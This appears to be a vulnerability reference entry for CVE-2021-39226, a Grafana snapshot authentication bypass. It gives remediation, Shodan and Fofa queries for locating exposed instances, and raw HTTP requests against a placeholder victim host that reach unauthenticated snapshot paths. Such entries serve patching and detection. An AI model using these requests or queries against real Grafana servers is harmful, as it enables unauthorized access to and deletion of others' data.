| Title | Grafana Snapshot - Authentication Bypass |
|---|---|
| Author | Evan Rubinstein,matejsmycka |
| Severity | High |
| Impact | An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature. |
| Remediation | This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects. |
| CVSS Score | 7.3 |
| EPSS Score | 0.9435 |
| CVE ID | CVE-2021-39226 |
| CWE ID | CWE-287 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2021 cve grafana kev vkev vuln |
Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
GET /api/snapshots/:key HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /dashboard/snapshot/:key HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39226.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39226.pcap
N/AN/A